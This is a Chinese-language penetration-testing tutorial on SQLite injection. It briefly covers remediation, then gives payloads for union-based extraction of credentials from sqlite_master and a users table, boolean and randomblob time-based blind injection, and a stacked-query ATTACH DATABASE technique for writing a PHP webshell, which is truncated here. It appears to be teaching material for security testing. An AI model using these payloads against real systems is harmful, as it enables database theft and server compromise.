sqlite注入
测试方法
与 MySQL 类似,在发现有可控参数的地方可以使用手工测试或者 SQLMap 等自动化工具进行注入检查。
修复建议
采用 SQL 语句预编译和绑定变量,依然是防御 SQLite 注入的最佳方法。
- 所有查询语句使用参数化查询接口,避免将用户输入直接拼接进 SQL 语句中。
- 对进入数据库的特殊字符进行转义过滤。
- 严格规定数据类型和长度。
- 注意: SQLite 是基于文件的数据库,因此严格限制 Web 目录的文件读写权限至关重要,防止攻击者通过附加数据库(
ATTACH DATABASE)等方式写入恶意文件。
SQLite 相关知识(与 MySQL 的核心差异)
SQLite 是一种轻量级的文件型数据库,不需要独立的服务器进程,整个数据库就是一个文件。这也是它在注入时与 MySQL 最大的不同点所在。
- 没有
information_schema库- SQLite 没有 MySQL 那样庞大的
information_schema。它在每个数据库中默认维护了一个名为sqlite_master的隐藏系统表(在某些新版本中也叫sqlite_schema,但sqlite_master始终可用)。这个表记录了该数据库下所有的表名、索引、视图等信息。 sqlite_master表结构:type(类型),name(名称),tbl_name(表名),rootpage,sql(创建该表/视图的 SQL 语句)。
- SQLite 没有 MySQL 那样庞大的
- 没有内建的用户管理系统
- MySQL 有
mysql.user表来管理账户和权限,也有user()函数。 - SQLite 没有用户和权限的概念,它不提供网络服务,权限完全依赖于操作系统对该 SQLite 数据库文件的读写权限控制。因此,在 SQLite 注入中不需要(也无法)查询当前数据库用户。
- MySQL 有
- 没有系统级的文件读写函数
- SQLite 没有 MySQL 中的
load_file()或into outfile。但是可以通过ATTACH DATABASE(附加数据库)的方式来实现文件的写入(常用于写 Webshell)。
- SQLite 没有 MySQL 中的
Web SQL 注入漏洞原理
原理与 MySQL 完全一致:前端参数用户可控,且未经严格过滤直接拼接带入后端 SQLite 数据库执行,导致执行了非预期的恶意 SQL 逻辑。
常见判断语句与注释符
判断语句的逻辑与 MySQL 一致:
1 | id=1 and 1=1 |
注释符差异:
--单行注释(注意: SQLite 中不需要像 MySQL 那样在--后面加空格,--即可注释。同时 SQLite 不支持#作为注释符)。/* */多行注释。
SQLite 注入流程与常用语法
1. 基础探测与联合查询 (UNION Injection)
首先通过 ORDER BY 确定字段数,然后使用 UNION SELECT 确定回显点。
查询数据库版本
1 | union select 1,sqlite_version(),3 |
获取表名
通过查询 sqlite_master 获取表名。
1 | -- 查询第一张表名 |
获取字段名(重点差异)
SQLite 没有类似 information_schema.columns 的表来直接列出所有字段。我们需要读取 sqlite_master 中的 sql 列,这一列记录了创建这张表时的 CREATE TABLE 语句,里面包含了所有的字段名。
1 | union select 1,sql,3 from sqlite_master where type='table' and name='users' |
获取数据
由于 SQLite 字符串拼接使用 || 而不是 concat(),提取数据时写法如下:
1 | union select 1,username||'~'||password,3 from users limit 0,1 |
2. 布尔盲注 (Boolean-based Blind)
当页面只有对错两种状态回显时使用。
由于 SQLite 没有 if() 函数,我们需要使用 CASE WHEN... THEN... ELSE... END 语句或者直接利用比较运算符。
常用函数:substr() (截取字符串), length() (计算长度)。
获取表名长度
1 | 1' and (select length(name) from sqlite_master where type='table' limit 0,1)=5 -- |
获取表名字符
1 | 1' and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='u' -- |
获得字段长度
1 | admin' AND length(password) = 5 -- |
3. 时间注入 (Time-based Blind)
SQLite 没有类似于 MySQL 的 sleep() 函数。为了实现时间延迟,通常利用极其耗时的查询逻辑来“模拟”延时。
模拟延时方法一:randomblob()
利用 randomblob() 生成一个极大的随机字节块来消耗 CPU 时间,配合 CASE WHEN 实现条件延时。
1 | -- 如果条件成立,则执行耗时的 randomblob 操作,否则返回 0 |
模拟延时方法二:利用超大表的笛卡尔积或 LIKE
如果找不到 randomblob,可以尝试查询一个系统大表(如 sqlite_master 的笛卡尔积)配合复杂的 LIKE 匹配来拖慢数据库速度。
4. 堆叠查询 (Stacked Queries) 与 写 Webshell
如果后端的数据库 API (例如 PHP 的 sqlite_exec())支持同时执行多条语句(以 ; 分隔),则存在堆叠注入。
利用堆叠注入写 Webshell(替代 into outfile)
虽然 SQLite 没有 into outfile,但可以使用 ATTACH DATABASE 命令将一个新的 SQLite 数据库附加到特定的文件路径(如 Web 目录),然后在这个库中建表并插入包含一句话木马的数据。
1 | -- 1. 分号闭合当前语句,并附加一个新数据库到 web 目录(文件后缀设为 php) |
